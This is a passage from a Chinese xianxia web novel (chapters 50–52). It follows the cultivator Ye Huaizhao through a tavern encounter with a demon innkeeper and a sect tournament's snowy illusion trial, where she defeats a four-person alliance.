有时叶怀昭上台前还没在看台上看见谢迟云,等打架的间隙向看台上偶然一撇,就会被不知什么时候出现的青年捕捉到目光,对她弯着眼眸露出一个温和的笑。 她本能地收回目光,不想让谢迟云以为自己是在找他——她才不在意谢迟云有没有如约来看她对决! 可下一瞬又觉得这样像是她做贼心虚,于是强迫自己转过头,挑衅地抬起下巴看他一眼,再转头接着 按着自己的对手狂揍。 一般这个时候她下手的力度会稍稍重一些。 然后收获对手幽怨的目光。 谢迟云说到做到,他确实在叶怀昭的每一场对决时都出现在看台。 甚至在第一轮对决结束座无虚席的那日也没例外。 就连桑春都没在看台上抢到位置,而谢迟云不仅拿到了一个最佳视野的位置,甚至还有余裕帮桑春多占了一个座位。 这种毅力让桑春叹为观止。 “我师尊最近的脾气可是一点就炸,”她摇头叹气,“没有你师兄帮忙,他最近忙得饭都只吃一顿,就连我亲自给他做他都不吃。” 叶怀昭在专心致志地点菜,头也没抬道:“难道不是因为他对你做的饭有心理阴影吗?” 桑春:“……我说了多少遍,那只是意外。” 当年桑春初入长风门还想着稍微伪装一下,听说师尊是北境人后,特意花了一下午做了一大桌的饭菜孝敬给师尊。 用膳时戒律堂堂主还挺高兴的,觉得自己新收的这个小徒弟当真是收对了,狠狠夸赞了一番桑春。 结果当天夜晚,西翠谷的大门就被惊慌失措的桑春砰砰敲开了。 她的身后是口吐白沫的戒律堂堂主。 第二日戒律堂堂主醒来后说的第一句话,就是让桑春这个孽徒从此以后远离厨房,他不想死在自己徒弟手里。 叶怀昭耸耸肩,懒得拆穿她的嘴硬。 桑春不想继续谈论自己的做饭水平是好是坏,转而道:“你觉得你师兄是那种不懂得拒绝、只能被迫帮忙的人吗?” 谢迟云虽然没来陪对决结束后的叶怀昭吃饭,但他的钱袋代替他陪伴了自己师妹。 叶怀昭从不是会亏待自己的人,反正她师兄说了,今天她爱买什么买什么,爱吃什么吃什么,于是大手一挥就和桑春来了平清城中最贵的酒楼。 叶怀昭将店小二打发走,回过头来道:“你想说什么?” “戒律堂可是长风门中信息情报流动最迅速的地方,再加上他自己本身所掌握的势力……”桑春撑着胳膊,对叶怀昭眨了一下眼睛,“你不觉得你师兄在图谋很危险的事情吗?” “有可能,”叶怀昭说道,“不过我觉得无所谓。” 经过九宫幻境那一遭后,叶怀昭现在对谢迟云不想说的事情看得很开。 和成为暴虐残忍的魔君相比,有点小秘密算什么? 叶怀昭甚至觉得若是有一天自己师兄当真走火入魔成了魔修,她也不是不能接受。 不就是以后当不了仙首嘛,反正有她就够了。 叶怀昭不想弄脏自己的手指,于是奢侈地用灵力剥着橘子,随口说: “他想干什么干什么,就算是入魔又如何?他可是我的师兄,是要给我一辈子端茶倒水、一辈子剥橘子、卖一辈子命的长风门仙君。我看谁敢诋毁他,谁敢骂他我就把那人吊起来打。” 她心满意足地将橘子塞进嘴里,还好心地给桑春递了半个过去,抬头却见她一脸一言难尽。 叶怀昭不满说:“你这是什么表情?” 桑春麻木地将橘子塞进嘴里,味如嚼蜡。 她缓缓的、诚恳说:“我现在相信那位宁仙君说的了。” ——到底是一个人教出来的师兄妹,这种“天大地大我最大”的我行我素简直如出一辙。 前有谢迟云说自己师妹想做什么就做什么,反正他都不介意且支持;后有叶怀昭说自己师兄入魔了又怎样,反正有她罩着。 此时此刻,桑春终于愿意承认。 这两人还真就是双向奔赴。 叶怀昭撕开一瓣橘子放进嘴里。 她无所谓宁绥这混账东西又说了什么诋毁她的话,反正等到第二轮选拔时,新仇旧恨一起算,就算他把无妄仙尊叫来都不管用。 酒足饭饱后,两人准备走回无相宫顺便消食。 桑春道:“无相宫没有公布会将哪个幻境作为第二轮场地,但听我师尊说,极有可能是一个水湖类的幻境——对你可能不太有利。” 众所周知,青冥台是一个自水中建立的宗门。 更众所周知,此次问道大会的三大夺魁热门中,庄丹雪不仅出身青冥台,五行术法中最擅长的便是水系术法。 桑春从择签纸中抽到庄丹雪时,就知道自己注定只能一轮游。 不过她本人对修炼其实并不热衷,来问道大会也只是想着长长见识并不追求名次,所以和庄丹雪对决时干脆完全放弃进攻,只一味防御。 她的实力比不过庄丹雪,但若是放弃所有进攻只防御的话,一时半会庄丹雪还真无法将她击败。 可对决是记时间的。 这样一来庄丹雪若是想将她击败,就不能再像之前一样留手,必须拿出真才实学的东西。 通过这个手段,她成功试探出了庄丹雪如今的真正实力。 桑春提醒道:“我觉得她的天罡境应该是突破了。” 叶怀昭:“我觉得你的感觉应该是对的。” 无论是她还是庄丹雪都知道,如果想要将对方压制,就必须突破天罡境。只有突破天罡境,才能以压倒式的优势取得问道大会的魁首。 叶怀昭需要一个漂亮的魁首之位证明自己,而庄丹雪甚至比她更加需要——她在青冥台的处境比她可糟糕多了。 这般压力下,以庄丹雪争强好胜的性格,她若是说还没突破天罡境叶怀昭不用脑子想都知道不可能。 “所以你怎么办?”桑春说,“我记得你应该还差一点点才能破镜。” 叶怀昭自信满满:“不用担心,我早有计划。” 虽然叶怀昭这人十分极爱口是心非,但在修炼上倒是从未让他人失望过。既然她这么说,桑春也就不再多问。 她们两个从酒楼二层的雅间中走出来,刚要下楼,就听到酒楼一层传来一阵喧闹声。 叶怀昭撑着二楼的栏杆向下看去。 只见前堂围着一群看热闹的百姓,最中间是一个喝得醉醺醺的壮汉和一个低着头的姑娘拍着桌子吵吵嚷嚷。 她们听了一会。 事情经过大约是男人本来在喝酒,那姑娘路过时不慎把他桌上的酒坛子撞到了,虽然姑娘很快就掏钱让店小二重新拿了两坛酒赔偿,但男人坚持认为她就是故意找事。 因为那姑娘是个半魔。 男人醉醺醺的,大着舌头说:“他们魔族、都是心思歹、歹毒的人!肯定就是对我、心怀恨意!” 有人忍不住道:“人家姑娘就只是路过而已,不过是不小心撞碎了你的酒坛,已经道过歉又多赔了你一坛酒,这能有什么深仇大恨啊?” 他的话得到了大部分人的附和。 不过男人依旧喋喋不休,看起来对魔族颇有微词。 这种喝醉酒后闹事的事情酒楼里一天都要发生好几回,并不奇怪。 叶怀昭和桑春都没有出头的意思,反正闹大了自有无相宫处理,轮不到她们出手。 只是在酒楼的掌柜出来调解时,两个人同时顿住脚步。 桑春眯了眯眼睛:“他长得有些面熟。” 叶怀昭升起几分兴趣:“我也感觉她长得有点面熟。” 桑春转头问:“你觉得他长得像谁?” 叶怀昭沉思:“有点像周鹤亭。” 桑春回头去看那五官清俊桃花眼含笑,一身玄金长袍的魔族,脑门上不由得浮现出一个清晰的问号:“哪里像了?你不如说他更像宁绥。” 两人大眼瞪小眼,鸡同鸭讲地说了半天,才意识到自己口中所说的根本不是一个人。 叶怀昭指了指那个抬起头的姑娘。 她的年纪看上去比叶怀昭都小,杏眼琼鼻,穿着一身浅色的衣裙,与之前周鹤亭之前在店铺买的裙子像是同一条。 叶怀昭说:“我觉得她像是周鹤亭的妹妹……好像叫什么令仪。” 她向桑春问道:“你觉得那个魔族像谁?” 桑春沉思着:“也不能说像……我觉得他长得面熟又不面熟。” 她想了想,做了一个比喻:“如果把你师兄那张脸换到宁绥身上,可能就有点像了。” 叶怀昭面无表情:“别给我讲鬼故事。” 叶怀昭本来还对她说得面熟有几分好奇,听到桑春的回答后顿时失了兴趣。 这个魔族之前她从林漱雪那里回来时在路上见过,如今是第二次见面,她怎么就什么都没看出来? 她觉得桑春的眼光有点问题。 叶 怀昭转过眼睛,正准备下楼帮周鹤亭的妹妹摆平事端,却发现那位魔族掌柜效率极高地已经把纠纷处理好了。 那姑娘行事匆匆,甚至一步都没留就直接离开了酒楼,叶怀昭都没追上她。 此时围观的人群已经散去,那位魔族掌柜在和店小二说着什么事情。 他侧着脸,却像是上次那样极为敏锐地发觉了叶怀昭在看他。 魔族转过头,那双猩红色的眼眸与叶怀昭对视。 ……好像真的有一点眼熟。 叶怀昭的心中陡然升起这个念头。 可还没等她抓住那似有似无的感觉,就听魔族含笑着说:“真巧,叶仙君,又和您见面了。” 说起话来就不像了。 叶怀昭甩甩头,觉得自己一定是被桑春的话影响到了。 他们魔族都是一双红色眼睛,她觉得这人眼睛熟悉应该是因为她见过很多魔族,这才产生了错觉。 既然对方态度友善,她也礼貌地回了一句:“没想到公子竟是这酒楼的主人。” 一个魔族能在无相宫所在的平清城开酒楼,果然极有手腕。 叶怀昭和他聊了几句,在心中得出了这个结论。 她一向不喜欢和这类人交流过多,很快就找了个借口准备离开。 魔族很有默契地将她和桑春送出酒楼,临走了才像是想起来什么似的说:“瞧我这记性,光顾着和叶仙君聊天了,竟忘了自报家门。” 一身玄金衣袍的年轻男人站在酒楼前,弯着猩红色的眼眸,言笑晏晏说: “在下桑流,是这听云楼的掌柜。久闻叶仙君大名,今日得与仙君再次相见,幸甚。”【魔蝎小说 mo xie xs .c om】 50-60 第51章 第五十一章“我师妹的剑足够锋利。”…… “这次的幻境是参考白仙府构筑而成的,多是雪山冰河,师妹记得要时刻维持四运循转术以防冻伤。” “白仙府的幻境虽是凶险,但也有不少可以利用的机关术法,进入幻境后师妹多留心观察,或许能有些意外之喜。” “对决的这两日会有各派仙师通过水镜来观看幻境,还会有巡场仙师在幻境中时刻监督。若是师妹有什么不便被他人发觉的术法,最好小心隐藏。” 无相宫幻境前,谢迟云一边将护心符文帮自己师妹挂上,一边轻声嘱咐着第二轮幻境的注意事项。 叶怀昭其实没怎么听他说的话。她虽然老老实实站在原地,但思绪一直在神游。 直到谢迟云说只有护心符文不破碎,并且活到最后才能拿到魁首,她才因为这个关键词而回过神。 在谢迟云帮她收拾好不能带进幻境的灵器后,她拽了一下身前青年的衣袖。 谢迟云:“怎么了,师妹?” 他以为叶怀昭是在紧张,于是安抚说:“若是遇到无法解决的困境,只要捏碎护心符文就会自动出局离开幻境,我作为巡场仙师也会时刻盯着幻境运行,师妹不用担心。” 叶怀昭:“我没有担心这个。” 她问道:“师兄知不知道听云楼的掌柜?他是一个魔族,自称‘桑流’。” 谢迟云的手指微微一顿,抬首看着她:“师妹见过他?” “见过两次,”叶怀昭伸出两根手指,观察着谢迟云的神色,猜测道,“师兄的意思是认识他?” 谢迟云淡淡道:“有所耳闻。” 叶怀昭眼睛一亮,正要开口问什么就被他按着后肩膀在原地转了个圈,正对着白仙府幻境的入口。 他的声音自叶怀昭的头顶飘来:“不是一个值得深交的人,师妹不必理会。” 谢迟云对待旁人一向不温不火,习惯留有余地。这个评价在他这里已经属于是很低的类型了。 只比他面对季衡远时的态度好一点点。 无相宫的仙师在催促着叶怀昭赶紧来,第二轮选拔的幻境马上打开。 叶怀昭被迫随着自己师兄的力气走了几步,好不容易才拉住他的衣袖在原地站住:“等、等等!” 谢迟云停下脚步,没有说话,只是用眼神询问她还有什么事,目光浅淡。 叶怀昭本是想再多问几句桑流的事情,但瞧见他的眼神又默默将话语咽了回去。 她临时找了个话题说:“……那失踪弟子还是没找到?” 自从问道大会开始就时不时有弟子失踪,后来便有人怀疑这些弟子被那些卖禁药的药贩子坑骗了,尤其是在叶怀昭帮宋堂主查出其中有山槐的手笔后,这种猜测便越演越烈。 各宗门都对自己来到问道大会的弟子多番叮嘱不要相信药贩子的话,但这几日依旧有弟子莫名其妙地失踪。 谢迟云昨日没和叶怀昭出去吃饭,就是因为长风门的一个内门弟子也失踪了,他和宋堂主在平清城附近调查。 提到此事,谢迟云压了压眉眼,摇头说:“暂且还未寻到,只是有了一些线索。” 叶怀昭正想问什么线索,不远处的仙师终于忍无可忍,敲响了手边的青铜古钟。 “问道大会第二轮选拔将于辰时准时开始,为期两日,最终以在幻境中停留时长排序决出魁首。凡错过幻境开启之人,视为放弃选拔。” 谢迟云温声道:“师妹快过去吧,等你拿到魁首出来,我会将这几日的事情原原本本地告诉师妹。” 叶怀昭得到想要的答案,满意地闭上了嘴。 她转身在无相宫仙师的催促声中走到青铜古钟的前方。 进入问道大会第二轮的修士一共有十人,众人极为默契地将中间的位置留给了三个人。 叶怀昭的位置恰好在庄丹雪的旁边,身穿青冥台弟子门服的少女目不斜视,拢袖扯了扯唇角说:“你是没断奶的小孩吗只是参加一个问道大会还要别人来哄。” 叶怀昭同样目不斜视:“你有师兄吗?” 站在她右手边的宁绥为这熟悉的一句话眼皮一跳。 在庄丹雪还没反应过来时,叶怀昭微微转过头对她弯着眼眸笑了笑:“既然有师兄,怎么师兄不来为庄大小姐送行?只能让庄大小姐羡慕别人?” 庄丹雪气急:“谁羡慕你了?别自说自话。” 好心当成驴肝肺,当初在石清镇的时候就不该提醒叶怀昭。 她在心中冷笑,这女人竟然还敢嘲讽她,到底是谁脑子蠢笨?随随便便就被哄骗得放下戒心,看她那好师兄最后会不会无声无息地就把她的掌门之位抢去。 叶怀昭怼完庄丹雪,又慢悠悠地转头去看旁边不动声色远离她的宁绥。 宁绥警惕地看着她,开口便道:“我没有师兄也不需要师兄,你们两个的事别扯我。” 叶怀昭皮笑肉不笑:“宁仙君还知道来参加问道大会啊?我还以为你要躲我一辈子呢。” 她笑得饱含杀意:“等一会进了幻境,我看你还怎么躲。” 无相宫仙师懒得理会这几个年轻人之间的拌嘴,见叶怀昭老老实实地站了过来,他看了一眼时间,言简意赅说: “第二轮选拔正式开始。” 话音落下,所有人面前的青铜古钟无风自动,一声悠长浑厚的钟鸣声后,叶怀昭等人消失在原地。 几乎在同时,半空中悬浮的水镜在术法的驱动下慢慢显出图景,三大禁地之一的白仙府的雪山在幻境中露出雄伟壮观的一角。 谢迟云看了一眼在水镜前依次落座的各派仙师,目光掠过沈玉山,在对方觉察的前一瞬收回了目光- 白仙府是三大禁地之一,虽是以“府”为名,但涵盖的范围却几乎有半个北境之大,于是也被人叫做冰封之国。 据说白仙府终年被风雪笼罩,经常不见日光,若是没有灵力护体的凡人来到白仙府,根本活不过一日 。 但它被列为与魔界无忘川、东境玉水洞同级别的禁地并不仅仅是因为它的严寒。 而是随处可见妖王级别的凶兽。 无相宫当然不至于将白仙府的所有情况都一一在幻境中复刻。先不提能否做到,即便可以做到那也有违问道大会的初衷——修士们光顾着应对幻境凶兽了,还怎么在互相交手决出强弱? 但即便是削减难度的白仙府,也不是好对付的存在。 叶怀昭的运气不是很好,一睁眼就落在了一处雪原狼群的栖息地。 她的眼睛甚至还没来得及适应骤然雪白的视野,大脑就本能地甩手抽出长剑横在身前。 “嗷——” 一只体型巨大的雪原狼飞扑而来,流着腥臭涎水的血盆大口张开,锋利犬齿甚至在叶怀昭的剑刃上划出尖锐声音。 一剑格挡后,叶怀昭飞速向后抽身。 为首的狼王獠牙间逸散着足以将鲜血凝结成冰的寒气,它的前爪微微勾起,在冰冷坚硬的地面上留下深深的沟壑。 雪白皮毛的狼群与她对峙,幽绿色写满贪婪意味的眼眸死死盯着那唯一的猎物。 在数十只雪原狼的包围中,叶怀昭缓缓眯起眼睛。 她握紧手中剑柄,轻声说: “来。” 第一只狼凶狠地跃起,向雪地中的少女扑来。 一刻钟后。 少女将剑刃上沾着的血污甩去,在满地妖兽的断臂残骸中足尖一点,轻盈地落在不远处被白雪覆盖的矮坡上。 她抬起头,只看到了一望无际的雪山群。 叶怀昭不满地嘀咕一声:“为什么把场地设在白仙府?真会给人找罪受。” 宁绥是北境人,庄丹雪最擅水系术法,算上去只有她对白仙府最不熟悉。 虽然也不是打不过,但叶怀昭还是深深地怀疑自己在问道大会的气运是不是不太好,怎么最近总是被人使绊子。 但抱怨归抱怨,叶怀昭还是得老老实实地赶路。 按照无相宫所说,所有进入白仙府幻境的弟子的落地点都是随机的。但是只要他们开始行动,幻境就会无声无息地牵引着他们与自己的对手见面。 对决会进行两日,叶怀昭需要做的就是在淘汰对手的前提下让自己成为最后一个留在幻境的人。 没有桑春在这里,也没有辅助的灵器,叶怀昭只能亲自动手卜算庄丹雪和宁绥如今在何处。 好在叶怀昭当年学算卦的时候没有像她学巫蛊时上课走神,极为顺利地就找到了这两人的位置。 她蹲在雪地上,看着东西两方一大一小的石子。 沉吟片刻后,叶怀昭愉快地决定先找宁绥。 君子报仇十年不晚,叶怀昭不是君子,她觉得让宁绥多活十天已经够给无相宫面子了。 她做好决定就不再改变,收起石子后直接御风赶路。 她不知道的是,在她目的明确向宁绥的方向赶去时,幻境之外有许多人同时发出一声遗憾的叹气。 “叶怀昭不该这时候去找宁绥的。” “是啊,她即便去找庄丹雪也比在这时候去找宁绥更好。” “那四个人可是每一个人的修为水平都逼近天罡境,她连天罡境都没突破,怎么打得过那四个人?” 在众人的议论纷纷中,谢迟云抬起眼眸,看向水镜中映出的另一方图景。 并非所有人都似叶怀昭那般倒霉,一落地就先和雪原狼群打了一架,还要千里迢迢地用灵力赶路找人。 也有人幸运地出现在没有任何凶兽的安全场地,甚至没有耗费一丝灵力地找到了同伴。 水镜的另一端,此时便有出身不同门派的四个人短暂达成同盟,准备联手将其他几人淘汰出局。 他们选定的优先目标便是不熟悉白仙府的叶怀昭。 这就是第二场选拔不同于第一场选拔的地方。 它并非只考察参与者的实力强弱,而是考察对方灵活应对困境的能力。 既然是多人战,那当然可以结伴,甚至过往的问道大会中也不是没有过几个修为更低的人联手将最有可能夺魁的修士提前打出局。 能进入第二场选拔的修士都是某一宗门的佼佼者,当然更懂得怎么利用现有的人脉资源去战胜自己一个人打不过的对手。 这时候,若是被针对的那人没有碾压一切的实力,处境反而会变得很是不利。 长风门戒律堂堂主坐在谢迟云的身旁,沉吟片刻说:“按叶怀昭这个行进路线,遇到那四个修士是必然的。若是她能说服那四人与自己合作,也不失为一种化危为安的方法。” 不少仙师都认同了他的说法。 戒律堂堂主向谢迟云问道:“你认为如何,迟云?” 谢迟云但笑不语。 戒律堂堂主的逆徒桑春在心中偷偷翻了个白眼。 ——指望叶怀昭与想要将自己淘汰出局的人握手合作,还不如指望叶怀昭半路上福至心灵换另外一条路的可能性更大。 就她那吃软不吃硬的性格,不把那四个威胁她的人有一个算一个全部打哭都算是她心情好。 说话间,水镜中两方人马的位置越来越近,殿中的气氛也愈演愈热,激烈的讨论声不时响起。 这可是问道大会第二轮选拔开始后的第一场两方交锋,究竟是叶怀昭卧薪尝胆徐徐图之,还是谈判破裂大打出手,所有人都被勾起了好奇心。 就在这时,谢迟云从自己的位置上站了起来。 他接过无相宫弟子递来的巡场仙师令牌,从席位间走下,准备进入幻境。 水镜中的图景已经进展到了两方人马隔着一条冰封的长河对峙。 叶怀昭踩在结为同盟的四人组利用幻境提前布置好的陷阱中。 而那四人话语巧妙,正在说服叶怀昭让她加入自己,他们会帮她解决庄丹雪和宁绥。若是她不答应就会启动陷阱,在此时联手将她淘汰出局。 面对他们的威逼利诱,少女握着剑,目光闲适地盯着河岸对面的四人,手指有一搭没一搭地敲着自己的剑柄。 只看此时的情形,叶怀昭已经落了下风。 有认识谢迟云的修士看到他起身离席,半开玩笑说:“乘玉仙君这时入场,可不要悄悄给自己师妹拉偏架啊。” 谢迟云微微抬起眼睫,扫了一眼说话的修士。 他的目光平静无波,却自有一种从容不迫的威压,莫名让后者不自觉地闭上了嘴巴。 直到此时,谢迟云才开口道:“我师妹的剑足够锋利,不需任何人插手。” 他的目光掠过脸色变幻的修士,在众人的惊呼中微微勾起一个笑,浅色眼眸中映着少女抽出长剑时划过的一道赤色流光。 他轻声说: “——也能为她斩尽一切险阻。” 第52章 第五十二章只剩他还记得。 白仙府幻境。 高耸入云的雪峰下是一望无际的起伏山脉,风雪呼啸着卷过巨龙脊背似的冰刺,再无声静谧地自半空中纷纷扬扬地飘落。 ——而后被一道炽热的烈焰骤然吞噬。 雪白天地之间,那道赤色的火焰势不可挡地将所有拦路之物摧毁,火焰在凛冽寒风中挑起几近于山的高度。 几乎在那火焰即将把附近的雪峰也要烧灼融化之时,才有一道冷冽的幽蓝色灵力被动地与它相撞,而后是墨迹般的流光窜天而起,将火焰锁在原地。 明明身处雪地之中,符修的后背却几乎被冷汗浸透。 他向身后的阵修怒吼道:“他妈的不是说叶怀昭是个医修吗?!你的锁灵阵怎么连个医修都拦不住!” 阵修一个头两个大,刚刚将这处的阵法修补好,另外一处的阵法又被叶怀昭的灵力冲破,恨不得一个人掰成两个用,还要被他骂。 阵修当下就在他的怒吼中同样大声地吼了回去。 “还好意思说我?你刚才吹上天的逆转符也没让区区一个医修的术法灵力倒流啊!谁告诉你能把叶怀昭算成医修啊?!” 他们手忙脚乱地将叶怀昭的灵力压制住,当刺目的火焰散去时,其下露出的惨烈图景几乎让幻境 内外的人同时呼吸一窒。 白仙府千年不化的寒冰,在烈火燃烧之下竟然露出了其下漆黑的巨石,火焰舔舐着雪峰,留下可怖的焦黑痕迹。 甚至就连那冰封千里的长河,在叶怀昭的术法下也有了融化的迹象。 前一刻还在争吵的符修和阵修同时声音一顿。 “怎么不说话了?” 长河另一端,红裙少女嘲笑似地轻哼一声:“不是说我不答应合作就将我淘汰出局吗?就这点伎俩?” 说话间她的手腕一振,灼热的灵力在她的身周环绕,刹那间燃起的温度硬生生逼得一个与她近战的剑修后退撤离。 可那道隐隐有漆黑符文流转的火焰没有散去,而是在眨眼间化作一道流光转了个弯,直冲悄悄逼近她身后意图偷袭的另一个棍修。 被迫后退的剑修一抬头就瞧见了叶怀昭的术法将要与棍修接触,他的瞳孔一缩,立刻出声呵道:“不要用灵力——” 他的话还是慢了一步。 既非拳脚亦非剑棍,面对灵力的袭击,棍修下意识地也调动起自己的灵力在身周升起屏障,意图将叶怀昭的术法拦下。 可几乎在叶怀昭的灵力与他的屏障相触的一瞬间,火焰的光芒暗下,符文立刻将他的屏障吞噬,在破碎的瞬间漆黑毒素顺着他的灵力在他的体内飞速扩散。 眨眼之间,棍修裸露在外的肌肤就被藤蔓般的漆黑符文侵蚀,他甚至连叫都没叫一声,护心符文便直接破碎。 他的身影被风雪吞噬。 鸦雀无声的死寂之中,一身红裙的少女手腕翻转,锋利的剑尖直指场内剩余三人。 “虽然我最近的确在钻研剑术,但也不至于剥夺我医修的身份吧。” 叶怀昭的眼眸中跳动着赤色的碎光,她笑意盈盈说: “我可是颂慈仙尊之徒、长风门医修首席。” 不到一刻钟的时间,原本围攻叶怀昭的四人便只剩三人。 都已经到了这个地步,也不再有什么谈和的可能,剩余的三人对视一眼,不约而同将自己的看家本领全部拿了出来。 阵修面沉如水,她的双手飞速掐诀,阵法瞬间将方圆数里全部笼罩进来,黑暗将叶怀昭身处的冰原吞噬。 叶怀昭微微抬起头,看着漆黑空间上盘旋环绕的雷龙,眼中终于有了认真的意味。 她轻轻挑眉,术法刚刚在指尖升起还未释放,便有一道凌厉的剑气自身后偷袭而来。 叶怀昭飞速旋身持剑阻拦,在剑刃相撞的星星点点光芒中,剑修撞见一双闪烁着赤色流光的眼眸。 她与剑修在短短一瞬间交手数招,与此同时,符修的巽震九符蓄力完成,飓风携带着震耳欲聋的惊雷划破漆黑夜幕,直冲叶怀昭而来。 叶怀昭曾经在石清镇和周鹤亭交手时见识过符修的八卦符咒。 只是周鹤亭修为低微,他所用的艮巽八符甚至连谢迟云的震雷一符都拦不住。 而如今这符修所用的巽震九符乃是天罡境的修士才有把握用出的术法,在出现的一瞬间便技惊四座,就连场外的桑春都忍不住专注地盯着叶怀昭,想要看她如何破解。 叶怀昭感受到了自己身后逼近的飓风惊雷。 可她的选择再一次地让所有人倒吸一口凉气。 ——她直接抽出了自己体内一半的灵力,硬生生凭借灵力与巽震九符相击。 幻境之中,与打斗场地相距甚远的位置,一个巡场仙师震惊道:“她想做什么?她难道不知道这一半灵力根本扛不住巽震九符吗?” 谢迟云眯了眯眼眸,沉静道:“不,她知道。” 只要将巽震九符削弱一半,她就有在这之下生还的能力;只要她能生还,那无论再严重的伤对她而言也无所谓。 正如叶怀昭所说,她是个医修。 只是,她能在生死的边缘保持缜密冷静的思考,也有无视痛苦忠实执行的毅力。 ——她的对手有吗? 远处,叶怀昭抽出的灵力在震天撼地的飓风惊雷中不断被消耗,赤色的灵力几乎要被吞噬,可她与那剑修的交手却愈演愈烈,分毫没有撤退之意。 她没有撤退,与她交手的剑修心中的惊惧却逐渐达到了顶点。 在巽震九符落下的前一瞬,剑修终于没有撑住,试图向后抽身与叶怀昭拉开距离,却硬生生被少女不计后果的攻势拦在原地。 ——她是疯子吗?她不知道自己头顶上的巽震九符会直接将她劈到重伤吗?! 剑修心中慌乱,出手时不可避免地露出一道破绽。 在飓风惊雷落下的同时,他看到了叶怀昭染血的双唇慢慢勾起。 她硬抗着巽震九符,一剑贯穿他的护心符文。 剑修死去的同时,叶怀昭强忍着满身粉碎般的痛苦,一剑划破阵法瞬影到符修身旁。 她轻松将满脸不可思议的符修一剑击碎护心符文,转头提剑攻至阵修面前。 阵修狼狈地躲避,同时睁大眼睛试图拉拢:“等、等一下,我们还可以合作!我可以帮你躲开其他人的追踪!” 锋利的剑尖悬停于她的脖颈。 阵修心中松了一口气,正要再接再厉继续劝说,就见面前满身染血的少女对她弯了弯眼眸,语气遗憾说: “不好意思,我对青冥台的修士很有敌意,奉行赶尽杀绝策略。” 出身青冥台的阵修表情空白地被一剑淘汰出局。 叶怀昭看着她的身影消失在原地,才终于支撑不住地撑着剑半跪在地上。 她知道水镜之外此时还有人在看,咬着自己的腮帮子硬生生将眼中疼得几欲夺眶而出的泪水忍了回去,深深呼吸调整着自己的灵脉。 叶怀昭强忍着疼痛,用灵力在周围落下掩盖痕迹的阵法——再一次感谢最好的朋友小春,感谢她为了拦住谢迟云研究出的各种阵法。 而后,她就近找了个遮挡风雪的的洞穴滚了进去。 之前与人打斗时隐隐感觉到的窥伺之感消失,叶怀昭靠着冰凉的石壁,终于不再忍耐自己的抽气声,红着眼睛一边骂一边给自己疗伤。 混蛋无相宫,混蛋青冥台! 她骂到一半,又爬起来重新卜算了一遍宁绥和庄丹雪的位置,发现这两人的附近或多或少都有强烈的灵力波动。 她就说,怎么可能就她一个人这么倒霉的被围攻? 叶怀昭终于心理平衡了。 硬抗巽震九符的确不是天罡境修士应该做的事,幻境内也不允许携带药物,但好在叶怀昭特意抽出了一半灵力削弱符箓,再加上她本人就是医修,所以这次的伤还在她的接受范围之内。 她花了两个时辰将自己破损的灵脉修复了七七八八,又将自己破损的衣物换下,才撤掉阵法走出洞穴。 负责叶怀昭的巡场仙师瞧见她的动作,想到叶怀昭绝不服软的性格,立即问道:“她是不是又要去找宁绥或者庄丹雪了?” 谢迟云:“不是。” 巡场仙师纳闷道:“怎么不是?她的杀心那么重,都敢一对四,还不敢这时候趁机偷袭?” 谢迟云没有开口解释,但是他身边的巡场仙师看了一会,发现叶怀昭此时还真不像是去找宁绥而是庄丹雪。 离开洞穴后,叶怀昭一遇到妖兽就隐去身影绕路离开,有意避开冲突,像是在寻找什么,又像是在漫无目的的闲逛。 直到一个卜修和她迎面相撞。 巡场仙师立刻精神一振:“是不是要打架了?” 叶怀昭没有打架。 在他怀疑的眼神中,少女甚至堪称友好地和那个卜修交流了一番,然后挥手告别。 从头到尾她都没出手,与之前人挡杀人佛挡杀佛的态度截然相反。 巡场仙师彻底看不懂了:“你师妹到底想干什么?” 谢迟云的目光追随着叶怀昭的身影,说:“师妹自然有她的考量。” 巡场仙师不信邪地依旧盯着叶怀昭,直到发现对方在一处有河流淌过的山谷中转了一圈后,竟然开始生火做饭。 巡场仙师:“……” 看着叶怀昭随手抓了一只兔子逗弄,被咬了一口后气得跳脚,提着兔子耳朵就威胁说要把它烤了吃的幼稚样子,巡场仙师面无表情说:“你这师妹真有个性。” 谢迟云叹气:“这种兔子肉不好吃。” 巡场仙师:“……” 你也挺有个性。 夜晚,水镜外观看第二轮选拔的人渐渐散去,只留下来几个无相宫的仙师值守。 水镜内,白仙府的另一端 忽然升起了极为强烈的灵力波动,似乎是有人天罡境的修为暴露了。 守着叶怀昭的巡场仙师看热闹走了,只剩下谢迟云一个人站在山谷外,看着火堆前的少女。 那只兔子最终还是没有被叶怀昭烤了吃掉,因为兔子匆忙逃跑时一头撞在树上,被叶怀昭嫌弃太蠢而逃过一劫。 此时少女便坐在火堆前,一手支颐,另只手拿着根树枝逗弄着兔子,跳跃的火光映在少女黑亮的瞳孔中。 谢迟云看了她一会,忽地想起来叶怀昭曾经对他说过,想要在西翠谷中养一只动物。 他问她想养什么。 十六岁的叶怀昭懒洋洋地窝在自己师尊的白藤交椅中,伸出手指一样一样地说:“我想养狗,也想养猫……最喜欢兔子,不要养仙鹤。” 最后几个字落下,西翠谷玉映池旁的几只仙鹤发出不满的叫声。 叶怀昭稍稍支起上半身瞪了它们一眼,又重新将自己栽回躺椅。 她半眯着眼睛昏昏欲睡,日光落在她圆润的鼻尖和白皙光洁的额头,微风扬起鬓边的碎发。 少女伸出手指,将不断扫过脸颊带起些许痒意的发丝拨到一边,拖着长音遗憾说:“师尊肯定不让我在西翠谷中养……他讨厌活物。” 院中那几只仙鹤还是叶怀昭小时候掌握不好御风术和传送阵,时闻筝被逼无奈下才养在院中的。 据颂慈仙尊所说,他养叶怀昭这一个小孩会让他折寿五十年,养叶怀昭的宠物,会让他再折寿十年。 为了让师尊多活几年,叶怀昭只好遗憾放弃自己养宠物的念头。 她用发梢戳着自己的脸颊,忽地问道:“师兄,如果让你养一只动物,你想养什么?” 谢迟云将腿上摊开的书卷翻过一页,说:“兔子吧。” 躺椅上的少女微微一愣,说你怎么和我一样,然后问他为什么想养兔子。 谢迟云说:“因为容易养活。” 他的回答让叶怀昭翻翻白眼,评价了一句“无聊”。 少女正要接着问什么,就听西翠谷外传来熟悉的敲门声:“师姐,你在吗?” 叶怀昭叹气一声,嘀咕说“不是拒绝了吗怎么还来”,用他的书卷盖住自己的脸,指使谢迟云让他把季衡远打发走。 于是他站起身,打开西翠谷的大门,在少年不善的目光中说:师妹不想见你,不必再来了。 白仙府幻境中,叶怀昭看着在雪地中依旧活蹦乱跳的兔子,支着下巴观察着。 “是挺好养活的。”空旷无人的山谷中,少女的声音不大不小,像是自言自语般说道,“好像是有人说过想要给我养一只兔子……你说,那人是不是想用兔子哄我多去找他?” 